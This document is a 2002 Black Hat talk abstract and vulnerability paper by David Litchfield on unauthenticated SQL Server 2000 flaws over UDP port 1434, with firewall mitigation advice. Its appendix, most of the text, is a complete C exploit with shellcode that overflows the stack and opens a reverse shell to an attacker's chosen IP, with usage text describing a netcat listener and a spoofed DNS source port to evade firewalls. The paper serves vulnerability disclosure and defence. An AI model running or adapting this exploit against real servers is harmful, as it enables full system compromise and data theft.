

David Litchfield

Next Generation Security Software



BLACK HAT BRIEFINGS

Database Security - The Pot and the Kettle

This talk will examine the database server offerings from both Microsoft and Oracle and show that, regardless of certification, market campaigns and slurs, each would be better spending their time writing a more secure product.

Microsoft

This will cover two new vulnerabilities that allow full compromise of a system running MS SQL Server 2000 with a single UDP packet and without needing to authenticate.

Oracle

This will cover two format strings vulnerabilities and a buffer overrun that can be exploited without authentication.

The talk will end with what steps one can take to help prevent database system compromise.

David Litchfield, Managing Director & Co-Founder, Next Generation Security Software

David Litchfield is a world-renowned security expert specializing in Windows NT and Internet security. His discovery and remediation of over 100 major vulnerabilities in products such as Microsoft's Internet Information Server and Oracle's Application Server have lead to the tightening of sites around the world. David Litchfield is also the author of Cerberus' Internet Scanner (previously NTInfoscan), one of the world's most popular free vulnerability scanners. In addition to CIS, David has written many other utilities to help identify and fix security holes. David is the author of many technical documents on security issues including his tutorial on Exploiting Windows NT Buffer Overruns referenced in the book "Hacking Exposed".



Unauthenticated SYSTEM compromise of Microsoft's SQL Server 2000

David Litchfield
(david@ngssoftware.com)
4th July 2002
www.ngssoftware.com

Introduction

Another season and another database but the with the same old story, ending with yet another unauthenticated system compromise. 6 months ago it was a vulnerability in Oracle that allowed an unauthenticated attacker to gain control of their database server; today, this time, its Microsoft's SQL Server 2000. Information and data are the foundation of any business, but the one place that's designed to store and keep it safe turns out to be the very thing that can lead to it ending up in the wrong hands. For too long database security has been shunted to the back of the line and this situation needs to change. Both the database vendor and the database consumer have a responsibility: The vendor needs to produce a considerably more secure product; spend less money on marketing and more on Q&A. The consumer needs to start designing more robust applications that are more able to withstand the trials of being run on an Internet connected system. Issues such as SQL Injection via web applications and the vulnerabilities discussed in this paper show that "backend" systems *can* be compromised from the Internet, so take note, and do something about it.

UDP Port 1434 and why you should really, really block it at the firewall.

According to the assigned ports list UDP port 1434 is the Microsoft SQL Monitor port and it first came to the security community's attention when Chip Andrews of SQLSecurity.com released a nifty little utility called SQLPing. SQLPing sends a single byte UDP packet to 1434 on the given host, though it will also work against the whole broadcast subnet. The packet's byte has a value of 0x02. SQL Server will reply back to the requestor with possibly sensitive information such as the server's hostname, version and what net libraries and ports the server is listening upon :

```
ServerName:SERVER_NAME  
InstanceName:MSSQLSERVER  
IsClustered:No  
Version:8.00.194  
np:\\SERVER_NAME\pipe\sql\query  
via:SERVER_NAME,0:1433
```

That said, there are some points to note here. First off, the version number is incorrect. For example if Service Pack 2 has been applied, running the "select @@version" query returns a version number of 8.00.608 - not 8.00.194. Further, if the server has been "hidden", by selecting the "hide" option for the TCP network library in Server Network Utility, then SQL Server will listen on TCP port 2433. However, SQLPing still reports the server as listening on 1433. This is what Microsoft means by "hiding" the SQL Server.

SQLPing caused a brief blip on the scanning horizon when it first came out - but scanning activity stopped as quickly as it had come. Sort of like the calm before the storm.

So what else does SQL Server do when it receives a packet on 1434 and it's value isn't 0x02? SQLPing had made me curious, so dutifully I wrote a small winsock app that spewed the values from 0x00 to 0xFF at 1434. At 0x08 SQL Server was dead.

If we examine the bit of code that handles such UDP requests we can assume the equivalent C source code would look similar too this:

```

if(FIRST_BYTE > 9)
    {
        goto g9;
    }
else if (FIRST_BYTE == 9)
    {
        goto e9;
    }
else
    {
        FIRST_BYTE = FIRST_BYTE - 2;
        if(FIRST_BYTE > 6)
            {
                should never get here!!!!
            }
        cmdptr = cmdptr + 4 * FIRST_BYTE;
        cmdptr();
    }

```

Of interest are the bytes 0x04, 0x08 and 0x0A. 0x04 leads to a stack based buffer overflow, 0x08 leads to a heap overflow and 0x0A leads to a network DoS.

\x04

When SQL Server receives a packet with the first byte set to 0x04 it takes what ever comes after the 0x04, plugs into a buffer and attempts to open a registry key using the buffer. Whilst preparing to open the registry key, however, it performs an unsafe string copy and we overflow the stack based buffer overwriting the saved return address on the stack. This allows a complete system compromise without ever needing to authenticate. What exacerbates this problem is the fact that this is going over UDP so, firstly, its easy to spoof the IP address making it look like the attack came from somewhere else, or even, indeed from a host on the "inside" - this will get around a great deal of firewalls. Secondly if the attacker sets the UDP source port to 53, making it look like a response to a DNS query, then again this will bypass a large number of firewalls. It's important to ensure that your firewall ruleset is set up such that all packets coming from the outside, but with an internal address are dropped and further - do not, do not allow any packet destined for port 1434 to your SQL Servers - no matter what the source port is. The SQL Books Online state that 1434 must be open on the firewall - but this is simply not true. I've never had any problems when it's blocked - Query Analyzer, Enterprise Manager and IIS all cope fine. For more on this

buffer overflow and for demonstration code please see Appendix A.

\x08

By sending a single byte (0x08) UDP packet to 1434 it's possible to kill the SQL Server. What starts as a simple DoS however turns into a heap overflow when you attempt to work out what's going on. When the server dies it has just called strtok(). The strtok() function looks for a given token (character) in a string and returns a pointer to the token if one is found. If the token is not found then a NULL pointer is returned. SQL Server, when it calls strtok() is looking for a colon (:) but as there isn't one then strtok() returns NULL but whoever coded this part of the server didn't check to see if the function had succeeded or not. They pass the pointer to atoi() but, as it's NULL, SQL crashes - the exception isn't handled.

If a two byte packet, \x08\x3A - the 0x3A is a colon, is sent strtok() succeeds and a pointer is returned but SQL still crashes. This time in the call to atoi(). atoi() takes a string, and provided the first part of that string is a number then it returns the integer representation of the string. For example \x31\x32 goes to 12. But as there is nothing after the colon atoi crashes - another failure to check if things have worked out okay.

So, next, we send a 3 byte packet: \x08\x3A\x31 - and SQL survives. This looks too close to being a host:port kind of thing so we plug in an overly long string, tack on a :22 at the end and fire off the packet. This time there's a heap overflow - one that allows an attacker to gain complete control over the server. The same caveats about UDP and firewalls, of course, apply here too.

\x0A

No system compromise here but mildly amusing depending upon your point of view. When SQL Server receives a packet with a first byte of 0x0A it replies to the source with a single byte packet of 0x0A. I assume this must be some kind of heartbeat thing. Here's the problem though - if I spoof a packet and set the source IP address to that of one SQL Server and set the source port to 1434 then send this to a second SQL Server - the second will reply to the first, sending 0x0A to UDP port 1434. The first will reply back to the second, with its own 0x0A - again to port 1434. The second then replies..... well, you get the general idea. UDP, firewall, yada yada yada....

Pretty much every thing other first byte above does nothing. Those below, such as 0x06 and 0x03 either do nothing or reply back with the same information as a 0x02 packet.

The Internet Based Attack

These problems are really serious. Granted, 0x04 and 0x08 are the more severe of the three but what they all have in common is the fact that they all require absolutely no authentication and they all go over UDP. There are two ways to run SQL Server - one, the default, using a domain account and the other in the security context of the local SYSTEM account. Either way is almost as bad as the other for various reasons. On successful compromise, if running as domain account, then the attacker has privileges domain wide. This is not a good thing. If running as SYSTEM then the attacker completely owns the box running the SQL Server. I leave it as an exercise for the reader to assess the risk and choose which situation is best for their organization, in terms of mitigation. One of the best places to defend against these issues is at the firewall. Set up a rule that disallows traffic to UDP port 1434 from any machine to the SQL Servers. If you allow even one system to send traffic to this port your server can be compromised. All an attacker needs to do is spoof this system's IP address and send the exploit packet. This is not meant as FUD. It's the truth. You fear what you don't know, but at least you know now, and let me leave you in no uncertainty or doubt, this is something you should fix. As a final word, install the patch as soon as you can. Try to shorten your testing time for this and get your production systems protected.

Appendix A

This source code is an exploit that will compromise the SQL Server and spawn a remote shell to a system of your choosing. I've written it to be operating system service pack independent and, as far as possible, SQL Server service pack independent. Unfortunately, sqlsort.dll, the best choice available for this, changes ever so slightly between an SQL Server with no service pack and an SQL Server running SP 1 or 2. The import address entry for GetProcAddress() in sqlsort.dll shifts by 12. With no SQL Server service pack the address of the entry is at 0x42AE1010 and on SP1 and SP2 at 0x42AE101C. Before we get a chance to exploit the overflow, the process attempts to write to an address pointed to by a register we own, so we need to supply a writeable address. We use a location in the .data section of sqlsort.dll. At 0x42B0C9DC, again in sqlsort.dll, there is a 'jmp esp' instruction. We overwrite the saved return address with this. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This unnecessarily bloats Windows shell code exploits. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. By doing this the code becomes considerably leaner and small. Once the shell has been created it then connects out to a given IP address and port.

```
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
```

```

"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
"\x58";

```

```

int main(int argc, char *argv[])
{
    unsigned int ErrorLevel=0,len=0,c =0;
    int count = 0;
    char sc[300]="";
    char ipaddress[40]="";
    unsigned short port = 0;
    unsigned int ip = 0;
    char *ipt="";
    char buffer[400]="";
    unsigned short prt=0;
    char *prtt="";

    if(argc != 2 && argc != 5)
    {
        printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
Code");
        printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
sp",argv[0]);
        printf("\n\n\tYou need to set ncat listening on a port");
        printf("\n\t\tthat you want the reverse shell to connect to");
        printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
        printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53
0",argv[0]);
        printf("\n\n\tAssuming, of course, your IP address is 199.199.199.199\n");
        printf("\n\tWe set the source UDP port to 53 so this should go through");
        printf("\n\tmost firewalls - looks like a reply to a DNS query. Change");
        printf("\n\tthe source code if you want to modify this.");
        printf("\n\n\tThe SP Level is the SQL Server Service Pack");
        printf("\n\tWith no service pack the import address entry for");
        printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
    }
}

```

```

                printf("\n\tchange one byte of the exploit code to reflect this.");
                printf("\n\n\tDavid Litchfield\ntdavid@ngssoftware.com\n\t22nd May
2002\n\n\n");
                return 0;
            }

            strncpy(host,argv[1],250);
            if(argc == 5)
            {
                strncpy(ipaddress,argv[2],36);

                port = atoi(argv[3]);
                // SQL Server 2000 Service pack level
                // The import entry for GetProcAddress in sqlsort.dll
                // is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
                // Need to set the last byte accordingly
                if(argv[4][0] == 0x30)
                {
                    printf("Service Pack 0. Import address entry for
GetProcAddress @ 0x42ae1010\n");
                    exploit_code[9]=0x10;
                }
                else
                {
                    printf("Service Pack 1 or 2. Import address entry for
GetProcAddress @ 0x42ae101C\n");
                }
            }

            ErrorLevel = StartWinsock();
            if(ErrorLevel==0)
            {
                printf("Error starting Winsock.\n");
                return 0;
            }
            if(argc == 2)
            {
                strcpy(request,ping);

                GainControlOfSQL();
                return 0;
            }

            strcpy(buffer,exploit_code);

            // set this IP address to connect back to
            // this should be your address
            ip = inet_addr(ipaddress);
            ipt = (char*)&ip;
            buffer[142]=ipt[0];
            buffer[143]=ipt[1];
            buffer[144]=ipt[2];
            buffer[145]=ipt[3];

```



```

// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80

prt = htons(port);
prt = prt ^ 0xFFFF;
prtt = (char *) &prt;
buffer[160]=prtt[0];
buffer[161]=prtt[1];

strcat(request,"AAAABBBBCCCCDDDEEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM
MNNNNOOOOPPPPPQQQRRRRSSSSTTTTTUUUVVVVWWWWWXXXX");

// Overwrite the saved return address on the stack
// This address contains a jmp esp instruction
// and is in sqlsort.dll.

strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

// Need to do a near jump
strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

// Need to set an address which is writable or
// sql server will crash before we can exploit
// the overrun. Rather than choosing an address
// on the stack which could be anywhere we'll
// use an address in the .data segment of sqlsort.dll
// as we're already using sqlsort for the saved
// return address

// SQL 2000 no service packs needs the address here
strcat(request,"\x01\x70\xAE\x42");

// SQL 2000 Service Pack 2 needs the address here
strcat(request,"\x01\x70\xAE\x42");

// just a few nops
strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

// tack on exploit code to the end of our request
// and fire it off
strcat(request,buffer);

GainControlOfSQL();

return 0;
}

int StartWinsock()
{
    int err=0;

```

```
WORD wVersionRequested;
WSADATA wsaData;

wVersionRequested = MAKEWORD( 2, 0 );
err = WSASStartup( wVersionRequested, &wsaData );
if ( err != 0 )
    {
        return 0;
    }
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
    {
        WSACleanup( );
        return 0;
    }

if ( isalpha(host[0]))
    {
        he = gethostbyname(host);
    }
else
    {
        addr = inet_addr(host);
        he = gethostbyaddr((char *)&addr,4,AF_INET);
    }

if (he == NULL)
    {
        return 0;
    }

s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
return 1;
}

int GainControlOfSQL(void)
{

    SOCKET c_sock;

    char resp[600]="";
    char *ptr;
    char *foo;
    int snd=0,rcv=0,count=0, var=0;
    unsigned int ttlbytes=0;
    unsigned int to=2000;
    struct sockaddr_in    srv_addr,cli_addr;
    LPSERVENT            srv_info;
    LPHOSTENT             host_info;
    SOCKET               cli_sock;

    cli_sock=socket(AF_INET,SOCK_DGRAM,0);
```

```
if (cli_sock==INVALID_SOCKET)
    {
        return printf(" sock error");
    }

cli_addr.sin_family=AF_INET;
cli_addr.sin_addr.s_addr=INADDR_ANY;
cli_addr.sin_port=htons((unsigned short)53);

setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
    {
        return printf("bind error");
    }

s_sa.sin_port=htons((unsigned short)SQLUDPPort);

if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
    {
        return printf("Connect error");
    }

else
    {
        snd=send(cli_sock, request , strlen (request) , 0);
        printf("Packet sent!\nIf you don't have a shell it didn't work.");
        rcv = recv(cli_sock,resp,596,0);
        if(rcv > 1)
            {
                while(count < rcv)
                    {
                        if(resp[count]==0x00)
                            resp[count]=0x20;
                        count++;
                    }
                printf("%s",resp);
            }
        }
    closesocket(cli_sock);
return 0;
}
```

